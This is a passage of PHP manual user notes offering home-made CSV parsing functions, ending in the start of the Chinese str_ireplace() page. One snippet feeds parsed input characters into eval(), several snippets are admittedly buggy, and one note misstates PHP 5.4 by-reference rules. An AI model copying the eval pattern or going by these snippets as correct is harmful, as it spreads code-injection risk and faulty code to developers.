  return $data;
}
?>
lewis 11-Feb-2014 01:51
str_getcsv can be really fussy about trailing spaces - it will not necessarily recognise a final element in a quote delimited set of strings with a space following the final string for example. Using trim() before str_getcsv() quickly fixes this.
Ryan Rubley 13-Sep-2013 08:00
@normadize - that is a nice start, but it fails on situations where a field is empty but quoted (returning a string with one double quote instead of an empty string) and cases like """""foo""""" that should result in ""foo"" but instead return "foo". I also get a row with 1 empty field at the end because of the final CRLF in the CSV. Plus, I don't really like the !!Q!! magic or urlencoding to get around things. Also, \R doesn't work in pcre on any of my php installations.

Here is my take on this, without anonymous functions (so it works on PHP < 5.3), and without your options (because I believe the only correct way to parse according to the RFC would be $skip_empty_lines = false and $trim_fields = false).

//parse a CSV file into a two-dimensional array
//this seems as simple as splitting a string by lines and commas, but this only works if tricks are performed
//to ensure that you do NOT split on lines and commas that are inside of double quotes.
function parse_csv($str)
{
    //match all the non-quoted text and one series of quoted text (or the end of the string)
    //each group of matches will be parsed with the callback, with $matches[1] containing all the non-quoted text,
    //and $matches[3] containing everything inside the quotes
    $str = preg_replace_callback('/([^"]*)("((""|[^"])*)"|$)/s', 'parse_csv_quotes', $str);

    //remove the very last newline to prevent a 0-field array for the last line
    $str = preg_replace('/\n$/', '', $str);

    //split on LF and parse each line with a callback
    return array_map('parse_csv_line', explode("\n", $str));
}

//replace all the csv-special characters inside double quotes with markers using an escape sequence
function parse_csv_quotes($matches)
{
    //anything inside the quotes that might be used to split the string into lines and fields later,
    //needs to be quoted. The only character we can guarantee as safe to use, because it will never appear in the unquoted text, is a CR
    //So we're going to use CR as a marker to make escape sequences for CR, LF, Quotes, and Commas.
    $str = str_replace("\r", "\rR", $matches[3]);
    $str = str_replace("\n", "\rN", $str);
    $str = str_replace('""', "\rQ", $str);
    $str = str_replace(',', "\rC", $str);

    //The unquoted text is where commas and newlines are allowed, and where the splits will happen
    //We're going to remove all CRs from the unquoted text, by normalizing all line endings to just LF
    //This ensures us that the only place CR is used, is as the escape sequences for quoted text
    return preg_replace('/\r\n?/', "\n", $matches[1]) . $str;
}

//split on comma and parse each field with a callback
function parse_csv_line($line)
{
    return array_map('parse_csv_field', explode(',', $line));
}

//restore any csv-special characters that are part of the data
function parse_csv_field($field) {
    $field = str_replace("\rC", ',', $field);
    $field = str_replace("\rQ", '"', $field);
    $field = str_replace("\rN", "\n", $field);
    $field = str_replace("\rR", "\r", $field);
    return $field;
}
allan dot mtx dot IAMHUMAN at GOREADABOOK dot gmail dot com 29-Jul-2013 06:27
<?php

/**
 * This is the simplest way to do a csv line getter i could imagine.
 * It's not perfect at all, but will do the job.
 * There are indeed some error checks for very badly formated csv lines.
 * It will not, for example, handle the last field if it's empty,
 *  and it will omit repeated enclosures inside quoted fields if
 *  they are not escaped, but I tried to do it very clearly
 *  so everyone could change it for your own necessities.
 * @param string $str String
 * @param string $delimiter String
 * @param string $enclosure String
 * @param string $escape String
 * @return array
 */
function user_str_getcsv($str, $delimiter=',', $enclosure='"', $escape='\\') {
    $return = array();
    $fields = 0;
    $inside = false;
    $quoted = false;
    $char = '';

    //Let's go through the string
    for ($i=0; $i<mb_strlen($str); $i++) {
        $char = mb_substr($str, $i, 1, 'UTF-8');

        if (!$inside) { //Check if we are not inside a field
            if ($char == $delimiter) { //Check if the current char is the delimiter
                //Tells the function that we are not inside a field anymore
                $inside = false;
                $quoted = false;

                //Jumps to the next field
                $fields++;

            } elseif($char == $escape) { //Check if the current char is the escape
                //Error, because it isn't inside a field and there is a escape here
                return false;

            } elseif($char != ' ') { //Check if the current char isn't a blank space
                //Tells the function that a field starts
                $inside = true;

                //Check if the current char is the enclosure, indicating that this field is quoted
                if ($char == $enclosure) {
                    $quoted= true;
                } else {
                    $return[$fields] .= $char;
                }
            }
        } else { //Here we are inside a field
            //Check if the current char is the escape
            if ($char == $escape) {
                //Check if the string has one more char beyond the current one
                if (mb_strlen($str)>$i+1) {
                    //Tells the function we will treat the next char
                    $i++;
                    $char = mb_substr($str, $i, 1, 'UTF-8');

                    //Check if our new char is the enclosure
                    if ($char == $enclosure) {
                        //Check if the field is a quoted one
                        if ($quoted) {
                            $return[$fields] .= $enclosure;
                        } else {
                            //Error, because we have an escape and then we have an enclosure and we are not inside a quoted field
                            return false;
                        }
                    } elseif ($char == $escape) {
                        $return[$fields] .= $char;
                    } else {
                        eval("\$return[\$fields] .= \"\\".$char."\";");
                    }

                } else {
                    //Error, because there is an escape and nothing more then
                    return false;
                }
            } elseif ($char == $enclosure) { //Check if the current char is the enclosure
                //Check if we are in a quoted field
                if ($quoted) {
                    //Tells the function that we are not inside a field anymore
                    $inside = false;
                    $quoted = false;
                } else {
                    //Error, because there is an enclosure inside a non quoted field
                    return false;
                }
            } elseif ($char == $delimiter) { //Check if it is the delimiter
                //Check if we are inside a quoted field
                if ($quoted) {
                    $return[$fields] .= $char;
                } else {
                    //Tells the function that we are not inside a field anymore
                    $inside = false;
                    $quoted = false;

                    //Jumps to the next field
                    $fields++;
                }
            } else {
                $return[$fields] .= $char;
            }
        }
    }
    return $return;
}

print_r(user_str_getcsv("test,1,\"B,C,D\",\"with a escape\\\\\", \"with an enter\\n\", \"with an enclusure enclosure\\\"\""));
exit(0);

?>

The response will be:
Array
(
    [0] => test
    [1] => 1
    [2] => B,C,D
    [3] => with a escape\
    [4] => with an enter

    [5] => with an enclusure enclosure"
)
normadize -a- gmail -d- com 13-Mar-2013 11:19
Like some other users here noted, str_getcsv() cannot be used if you want to comply with either the RFC or with most spreadsheet tools like Excel or Google Docs.

These tools do not escape commas or new lines, but instead place double-quotes (") around the field. If there are any double-quotes in the field, these are escaped with another double-quote (" becomes ""). All this may look odd, but it is what the RFC and most tools do ...

For instance, try exporting as .csv a Google Docs spreadsheet (File > Download as > .csv) which has new lines and commas as part of the field values and see how the .csv content looks, then try to parse it using str_getcsv() ... it will spectacularly regardless of the arguments you pass to it.

Here is a function that can handle everything correctly, and more:

- doesn't use any for or while loops,
- it allows for any separator (any string of any length),
- option to skip empty lines,
- option to trim fields,
- can handle UTF8 data too (although .csv files are likely non-unicode).

Here is the more human readable version of the function:

<?php

// returns a two-dimensional array or rows and fields

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string);
    $enc = preg_replace_callback(
        '/"(.*?)"/s',
        function ($field) {
            return urlencode(utf8_encode($field[1]));
        },
        $enc
    );
    $lines = preg_split($skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s', $enc);
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            $fields = $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line);
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $fields
            );
        },
        $lines
    );
}

?>

Since this is not using any loops, you can actually write it as a one-line statement (one-liner).

Here's the function using just one line of code for the function body, formatted nicely though:

<?php

// returns the same two-dimensional array as above, but with a one-liner code

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line)
            );
        },
        preg_split(
            $skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s',
            preg_replace_callback(
                '/"(.*?)"/s',
                function ($field) {
                    return urlencode(utf8_encode($field[1]));
                },
                $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string)
            )
        )
    );
}

?>

Replace !!Q!! with another placeholder if you wish.

Have fun.
V.Krishn 06-Mar-2013 01:31
<?php
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
?>
V.Krishn 06-Mar-2013 01:20
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
khelibert at gmail dot com 04-Sep-2012 04:42
I've written this to handle :
- fields with or without enclosure;
- escape and enclosure characters using the same character (ie <<">> in Excel)

<?php
/**
             * Converts a csv file into an array of lines and columns.
             * khelibert@gmail.com
             * @param $fileContent String
             * @param string $escape String
             * @param string $enclosure String
             * @param string $delimiter String
             * @return array
             */
            function csvToArray($fileContent,$escape = '\\', $enclosure = '"', $delimiter = ';')
            {
                $lines = array();
                $fields = array();

                if($escape == $enclosure)
                {
                    $escape = '\\';
                    $fileContent = str_replace(array('\\',$enclosure.$enclosure,"\r\n","\r"),
                                array('\\\\',$escape.$enclosure,"\\n","\\n"),$fileContent);
                }
                else
                    $fileContent = str_replace(array("\r\n","\r"),array("\\n","\\n"),$fileContent);

                $nb = strlen($fileContent);
                $field = '';
                $inEnclosure = false;
                $previous = '';

                for($i = 0;$i<$nb; $i++)
                {
                    $c = $fileContent[$i];
                    if($c === $enclosure)
                    {
                        if($previous !== $escape)
                            $inEnclosure ^= true;
                        else
                            $field .= $enclosure;
                    }
                    else if($c === $escape)
                    {
                        $next = $fileContent[$i+1];
                        if($next != $enclosure && $next != $escape)
                            $field .= $escape;
                    }
                    else if($c === $delimiter)
                    {
                        if($inEnclosure)
                            $field .= $delimiter;
                        else
                        {
                            //end of the field
                            $fields[] = $field;
                            $field = '';
                        }
                    }
                    else if($c === "\n")
                    {
                        $fields[] = $field;
                        $field = '';
                        $lines[] = $fields;
                        $fields = array();
                    }
                    else
                        $field .= $c;
                    $previous = $c;
                }
                //we add the last element
                if(true || $field !== '')
                {
                    $fields[] = $field;
                    $lines[] = $fields;
                }
                return $lines;
            }
?>
xoneca at gmail dot com 27-Nov-2011 04:26
Note that this function can also be used to parse other types of constructions. For example, I have used to parse .htaccess AddDescription lines:

    AddDescription "My description to the file." filename.jpg

Those lines can be parsed like this:

<?php

$line = 'AddDescription "My description to the file." filename.jpg';

$parsed = str_getcsv(
    $line, # Input line
    ' ',   # Delimiter
    '"',   # Enclosure
    '\\'   # Escape char
);

var_dump( $parsed );

?>

The output:

array(3) {
  [0]=>
  string(14) "AddDescription"
  [1]=>
  string(27) "My description to the file."
  [2]=>
  string(12) "filename.jpg"
}
durik at 3ilab dot net 16-Jan-2011 11:39
As the str_getcsv(), unlike to fgetcsv(), does not parse the rows in CSV string, I have found following easy workaround:

<?php
$Data = str_getcsv($CsvString, "\n"); //parse the rows
foreach($Data as &$Row) $Row = str_getcsv($Row, ";"); //parse the items in rows
?>

Why not use explode() instead of str_getcsv() to parse rows? Because explode() would not treat possible enclosured parts of string or escaped characters correctly.
Anonymous 25-Oct-2010 12:25
If your version of PHP doesn't have `str_getcsv` and you don't need custom $escape or $eol values, try this:

<?php if (!function_exists('str_getcsv')) {

function str_getcsv($input, $delimiter=',', $enclosure='"', $escape=null, $eol=null) {
  $temp=fopen("php://memory", "rw");
  fwrite($temp, $input);
  fseek($temp, 0);
  $r = array();
  while (($data = fgetcsv($temp, 4096, $delimiter, $enclosure)) !== false) {
    $r[] = $data;
  }
  fclose($temp);
  return $r;
}

} ?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (depely AT IAMNOTABOT prestaconcept.net) on 04-MAR-2011 with the following note: "The previous anonymous function only read the first line".]
Jay Williams 10-Aug-2010 01:50
Here is a quick and easy way to convert a CSV file to an associated array:

<?php
/**
 * @link http://gist.github.com/385876
 */
function csv_to_array($filename='', $delimiter=',')
{
    if(!file_exists($filename) || !is_readable($filename))
        return FALSE;

    $header = NULL;
    $data = array();
    if (($handle = fopen($filename, 'r')) !== FALSE)
    {
        while (($row = fgetcsv($handle, 1000, $delimiter)) !== FALSE)
        {
            if(!$header)
                $header = $row;
            else
                $data[] = array_combine($header, $row);
        }
        fclose($handle);
    }
    return $data;
}

?>
hpartidas at deuz dot net 25-May-2010 09:50
I found myself wanting to parse a CSV and didn't have access to str_getcsv, so I wrote substitute for PHP < 5.3, hope it helps someone out there stuck in the same situation.

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ',', $enclosure = '"', $escape = '\\', $eol = '\n') {
        if (is_string($input) && !empty($input)) {
            $output = array();
            $tmp    = preg_split("/".$eol."/",$input);
            if (is_array($tmp) && !empty($tmp)) {
                while (list($line_num, $line) = each($tmp)) {
                    if (preg_match("/".$escape.$enclosure."/",$line)) {
                        while ($strlen = strlen($line)) {
                            $pos_delimiter       = strpos($line,$delimiter);
                            $pos_enclosure_start = strpos($line,$enclosure);
                            if (
                                is_int($pos_delimiter) && is_int($pos_enclosure_start)
                                && ($pos_enclosure_start < $pos_delimiter)
                                ) {
                                $enclosed_str = substr($line,1);
                                $pos_enclosure_end = strpos($enclosed_str,$enclosure);
                                $enclosed_str = substr($enclosed_str,0,$pos_enclosure_end);
                                $output[$line_num][] = $enclosed_str;
                                $offset = $pos_enclosure_end+3;
                            } else {
                                if (empty($pos_delimiter) && empty($pos_enclosure_start)) {
                                    $output[$line_num][] = substr($line,0);
                                    $offset = strlen($line);
                                } else {
                                    $output[$line_num][] = substr($line,0,$pos_delimiter);
                                    $offset = (
                                                !empty($pos_enclosure_start)
                                                && ($pos_enclosure_start < $pos_delimiter)
                                                )
                                                ?$pos_enclosure_start
                                                :$pos_delimiter+1;
                                }
                            }
                            $line = substr($line,$offset);
                        }
                    } else {
                        $line = preg_split("/".$delimiter."/",$line);

                        /*
                         * Validating against pesky extra line breaks creating false rows.
                         */
                        if (is_array($line) && !empty($line[0])) {
                            $output[$line_num] = $line;
                        }
                    }
                }
                return $output;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }
}
?>
Raymond 14-Dec-2009 05:49
Here's a little function to convert a multi-line CSV string to an array:

<?php
function csv_to_array($csv, $delimiter = ',', $enclosure = '"', $escape = '\\', $terminator = "\n") {
    $r = array();
    $rows = explode($terminator,trim($csv));
    $names = array_shift($rows);
    $names = str_getcsv($names,$delimiter,$enclosure,$escape);
    $nc = count($names);
    foreach ($rows as $row) {
        if (trim($row)) {
            $values = str_getcsv($row,$delimiter,$enclosure,$escape);
            if (!$values) $values = array_fill(0,$nc,null);
            $r[] = array_combine($names,$values);
        }
    }
    return $r;
}
?>
dave_walter at yahoo dot com 04-Jun-2009 09:51
Just to clarify, my str_putcsv() function was only ever designed to complement the functionality of the str_getcsv() built-in function, which can only handle converting one line of input into a single level array. For example, this code:

<?php
    var_dump( str_getcsv( "a,b,c\nd,e,f", "," ));
?>

generates this output:

array(5) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(3) "c
    d"
    [3]=>
    string(1) "e"
    [4]=>
    string(1) "f"
}

Even fgetcsv() and fputcsv() only work with a single line. All the examples show them being used within a loop of some sort.

I was also avoiding the artificial restriction on the length of the CSV string introduced by Ulf's modification.
Ulf 28-May-2009 06:24
As Dave's function also had the problem with only one line being returned here's a slightly changed version:

<?php
function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
  // Open a memory "file" for read/write...
  $fp = fopen('php://temp', 'r+');
  // ... write the $input array to the "file" using fputcsv()...
  fputcsv($fp, $input, $delimiter, $enclosure);
  // ... rewind the "file" so we can read what we just wrote...
  rewind($fp);
  // ... read the entire line into a variable...
  $data = fread($fp, 1048576); // [changed]
  // ... close the "file"...
  fclose($fp);
  // ... and return the $data to the caller, with the trailing newline from fgets() removed.
  return rtrim( $data, "\n" );
}
?>
It assumes that one line won't exceed 1Mb of data. That should be more than enough.
Anonymous 16-Mar-2009 10:02
For some reason o'connor's code only reads one line of a csv for me... I had to replace the line

      $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

with this:

      $data;
      while (!feof($fp))
      {
        $data[] = fgetcsv($fp, 0, $delimiter, $enclosure); //  $escape only got added in 5.3.0
      }

...to get all of the data out of my string (some post data pasted into a textbox and processed only with stripslashes).
dave_walter at NOSPAM dot yahoo dot com 06-Feb-2009 03:32
Drawing inspiration from daniel dot oconnor at gmail dot com, here's an alternative str_putcsv() that leverages existing PHP core functionality (5.1.0+) to avoid re-inventing the wheel.

<?php
if(!function_exists('str_putcsv')) {
    function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
        // Open a memory "file" for read/write...
        $fp = fopen('php://temp', 'r+');
        // ... write the $input array to the "file" using fputcsv()...
        fputcsv($fp, $input, $delimiter, $enclosure);
        // ... rewind the "file" so we can read what we just wrote...
        rewind($fp);
        // ... read the entire line into a variable...
        $data = fgets($fp);
        // ... close the "file"...
        fclose($fp);
        // ... and return the $data to the caller, with the trailing newline from fgets() removed.
        return rtrim( $data, "\n" );
    }
}
?>
Jeremy 20-Jan-2009 05:20
After using several methods in the past to create CSV strings without using files (disk IO sucks), I finally decided it's time to write a function to handle it all. This function could use some cleanup, and the variable type test might be overkill for what is needed, I haven't thought about it too much.

Also, I took the liberty of replacing fields with certain data types with strings which I find much easier to work with. Some of you may not agree with those. Also, please note that the type "double" or float has been coded specifically for two digit precision because if I am using a float, it's most likely for currency.

I am sure some of you out there would appreciate this function.

<?php
    function str_putcsv($array, $delimiter = ',', $enclosure = '"', $terminator = "\n") {
        # First convert associative array to numeric indexed array
        foreach ($array as $key => $value) $workArray[] = $value;

        $returnString = '';                 # Initialize return string
        $arraySize = count($workArray);     # Get size of array

        for ($i=0; $i<$arraySize; $i++) {
            # Nested array, process nest item
            if (is_array($workArray[$i])) {
                $returnString .= str_putcsv($workArray[$i], $delimiter, $enclosure, $terminator);
            } else {
                switch (gettype($workArray[$i])) {
                    # Manually set some strings
                    case "NULL":     $_spFormat = ''; break;
                    case "boolean":  $_spFormat = ($workArray[$i] == true) ? 'true': 'false'; break;
                    # Make sure sprintf has a good datatype to work with
                    case "integer":  $_spFormat = '%i'; break;
                    case "double":   $_spFormat = '%0.2f'; break;
                    case "string":   $_spFormat = '%s'; break;
                    # Unknown or invalid items for a csv - note: the datatype of array is already handled above, assuming the data is nested
                    case "object":
                    case "resource":
                    default:         $_spFormat = ''; break;
                }
                                $returnString .= sprintf('%2$s'.$_spFormat.'%2$s', $workArray[$i], $enclosure);
$returnString .= ($i < ($arraySize-1)) ? $delimiter : $terminator;
            }
        }
        # Done the workload, return the output information
        return $returnString;
    }

?>
daniel dot oconnor at gmail dot com 19-Jan-2009 04:48
Don't have this? Ask fgetcsv() to do it for you.

5.1.0+

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ",", $enclosure = '"', $escape = "\\") {
        $fiveMBs = 5 * 1024 * 1024;
        $fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
        fputs($fp, $input);
        rewind($fp);

        $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

        fclose($fp);
        return $data;
    }
}
?>
william dot j dot weir at gmail dot com 18-Sep-2008 03:19
If your happy enough having just a multi-dimensional array, this should work fine. I had wanted to use the one provided by keananda but it was choking on pr($lines).

<?php
function f_parse_csv($file, $longest, $delimiter) {
  $mdarray = array();
  $file    = fopen($file, "r");
  while ($line = fgetcsv($file, $longest, $delimiter)) {
    array_push($mdarray, $line);
    }
  fclose($file);
  return $mdarray;
  }
?>

$longest is a number that represents the longest line in the csv file as required by fgetcsv().  The page for fgetcsv() said that the longest line could be set to 0 or left out, but I couldn't get it to work without. I just made it extra large when I had to use it.
keananda at gmail dot com 15-Sep-2008 04:29
For those who need this function but not yet installed in their environment, you can use my function bellow.

You can parse your csv file into an associative array (by default) for each lines, or into an object.
<?php
function parse_csv($file, $options = null) {
    $delimiter = empty($options['delimiter']) ? "," : $options['delimiter'];
    $to_object = empty($options['to_object']) ? false : true;
    $str = file_get_contents($file);
    $lines = explode("\n", $str);
    pr($lines);
    $field_names = explode($delimiter, array_shift($lines));
    foreach ($lines as $line) {
        // Skip the empty line
        if (empty($line)) continue;
        $fields = explode($delimiter, $line);
        $_res = $to_object ? new stdClass : array();
        foreach ($field_names as $key => $f) {
            if ($to_object) {
                $_res->{$f} = $fields[$key];
            } else {
                $_res[$f] = $fields[$key];
            }
        }
        $res[] = $_res;
    }
    return $res;
}
?>

NOTE:
Line number 1 of the csv file will be considered as header (field names).

TODO:
- Enclosure handling
- Escape character handling
- Other features/enhancements as you need

EXAMPLE USE:
Content of /path/to/file.csv:
CODE,COUNTRY
AD,Andorra
AE,United Arab Emirates
AF,Afghanistan
AG,Antigua and Barbuda

<?php
$arr_csv = parse_csv("/path/to/file.csv");
print_r($arr_csv);
?>
// Output:
Array
(
    [0] => Array
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => Array
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => Array
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => Array
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
)

<?php
$obj_csv = parse_csv("/path/to/file.csv", array("to_object" => true));
print_r($obj_csv);
?>
// Output:
Array
(
    [0] => stdClass Object
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => stdClass Object
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => stdClass Object
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => stdClass Object
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
    [4] => stdClass Object
        (
            [CODE] =>
            [COUNTRY] =>
        )
)

// If you use character | (pipe) as delimiter in your csv file, use:
<?php
$arr_csv = parse_csv("/path/to/file.csv", array("delimiter"=>"|"));
?>

==NSD==
csv at rfc dot org 05-May-2008 01:15
RFC 4180 which deals with CSVs states the escape character is supposed to be a double quotation mark: (page 2)
   7.  If double-quotes are used to enclose fields, then a double-quote
       appearing inside a field must be escaped by preceding it with
       another double quote.  For example:

       "aaa","b""bb","ccc"
peev[dot]alexander at gmail dot com 20-Apr-2008 02:22
CSV parsing and storage is not that hard to implement - see my example functions ( I believe they do a pretty good job - I use them in a production environment ):

<?php

if( !function_exists("parse_csv") ){
    function parse_csv($string){
/* Author : Alexander Peev, posted at PHP.NET */
        if( !function_exists("parse_csv_aux") ){
            function parse_csv_aux( $string ){
                $product = "";
                $in_quote = FALSE;
                $skipped_quote = FALSE;
                for(  $i = 0 ; $i < strlen($string) ; $i++  ){
                    if( $string{$i} == "\"" ){
                        if($in_quote){
                            if($skipped_quote){
                                $product .= "\"";
                                $skipped_quote = FALSE;
                            }
                            else if( !$skipped_quote ){
                                $skipped_quote = TRUE;
                            }
                        }
                        else{
                            if($skipped_quote) $skipped_quote = FALSE;
                            $in_quote = TRUE;
                        }
                    }
                    else if( $string{$i} == ";" ){
                        if($in_quote){
                            $product .= ";";
                        }
                        else{
                            $product .= " ; ";
                        }
                    }
                    else{
                        if($in_quote){
                            $in_quote = FALSE;
                            $product .= $string{$i};
                        }
                        else{
                            $product .= $string{$i};
                        }
                    }
                }
                return $product;
            }
        }
        $data = array();
        if(  is_string($string) && ( stripos($string, "\n") !== FALSE )  ){
            $data = explode("\n", parse_csv_aux($string) );
            foreach($data as $key => $row){
                $columns = array();
                //$row = strtr(  $row, array( "\";\"" => "\";\"", ";" => " ; " )  );
                if( stripos($row, " ; ") !== FALSE ){
                    $columns = explode( " ; ", $row );
                    if( !is_array($columns) )$columns = array( strval($columns) );
                    $data[$key] = $columns;
                }
            }
            return $data;
        }
        else if(  is_string($string) && ( stripos( ($string =  parse_csv_aux($string)), " ; ") !== FALSE )  ){
            $columns = explode( " ; ", $string );
            if( !is_array($columns) )$columns = array( strval($columns) );
            return array($columns);
        }
        else return strval($string);
    } /* end function parse_csv */
} /* end not function exists parse_csv */

if( !function_exists("store_csv") ){
    function store_csv($data){
/* Author : Alexander Peev, posted at PHP.NET */
        if( !function_exists("store_csv_aux") ){
            function store_csv_aux( $string ){
                $string = strtr( $string, array( "\n" => "" ) );
                $product = "";
                $in_quote = FALSE;
                for(  $i = 0 ; $i < strlen($string) ; $i++  ){
                    if( $string{$i} == "\"" ){
                        if($in_quote){
                            $product .= "\"\"";
                        }
                        else{
                            $product .= "\"\"\"";
                            $in_quote = TRUE;
                        }
                    }
                    else if( $string{$i} == ";" ){
                        if($in_quote){
                            $product .= ";";
                        }
                        else{
                            $product .= "\";";
                            $in_quote = TRUE;
                        }
                    }
                    else{
                        if($in_quote){
                            $product .= "\"";
                            $in_quote = FALSE;
                            $product .= $string{$i};
                        }
                        else{
                            $product .= $string{$i};
                        }
                    }
                }
                if($in_quote)$product .= "\"";
                return $product;
            }
        }
        if(!is_array($data))return strval($data);
        $passed_rows = FALSE;
        $product = "";
        foreach($data as $row){
            if( $passed_rows )$product .= "\n";
            if( is_array($row) ){
                $columns = "";
                $passed_cols = FALSE;
                foreach($row as $column){
                    if( $passed_cols )$columns .= ";";
                    $columns .= store_csv_aux( $column );
                    $passed_cols =TRUE;
                }
                $product .= strval($columns);
            }
            else{
                $product .= strtr( strval($row), array("\n" => "") );
            }
            $passed_rows = TRUE;
        }
        return $product;
    } /* end function store_csv */
} /* end not function exists store_csv */

?>


str_replace 的忽略大小写版本

  • ? str_getcsv
  • str_pad ?
  • PHP Manual
  • 字符串 函数
  • str_replace 的忽略大小写版本

str_ireplace

(PHP 5, PHP 7)

str_ireplace — str_replace() 的忽略大小写版本

说明

str_ireplace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] ) : mixed

该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换（忽略大小写）之后的结果。如果没有一些特殊的替换规则，你应该使用该函数替换带有 i 修正符的 preg_replace() 函数。

参数

如果 search 和 replace 为数组，那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数，多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串，那么 search 中每个元素的替换将始终使用这个字符串。

如果 search 或 replace 是数组，他们的元素将从头到尾一个个处理。

search

要搜索的值，就像是 needle。可以使用 array 来提供多个 needle。

replace

The replacement value that replaces found search values. An array may be used to designate multiple replacements.

subject

要被搜索和替换的字符串或数组，就像是 haystack。

如果 subject 是一个数组，替换操作将遍历整个 subject，并且也将返回一个数组。

count

如果设定了，将会设置执行替换的次数。

返回值

返回替换后的字符串或者数组。

范例

Example #1 str_ireplace() 范例

<?php
$bodytag = str_ireplace("%body%", "black", "<body text=%BODY%>");
echo $bodytag; // <body text=black>
?>

注释

Note: 此函数可安全用于二进制对象。

Caution

Replacement order gotcha

Because str_ireplace() replaces left to right, it might replace a previously inserted value when doing multiple replacements. Example #2 in the str_replace() documentation demonstrates how this may affect you in practice.

参见

  • str_replace() - 子字符串替换
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • strtr() - 转换指定字符

User Contributed Notes

Anteaus 02-Jan-2015 08:41
If you follow the instructions given here you will end up with code which works in php5.3 but which bugs-out in php5.4. Reason is that '&$count' (explicit pass by reference) is now an illegal construct.
Nasty, especially it leads to unreliable code which may work on test but not in production. Manual needs corrected!
Psudo - thepsudo at gmail dot com 29-Jun-2011 09:53
For highlighting without the overhead of regex and without destroying capitalization, try this:

<?php
function highlight($needle, $haystack){
    $ind = stripos($haystack, $needle);
    $len = strlen($needle);
    if($ind !== false){
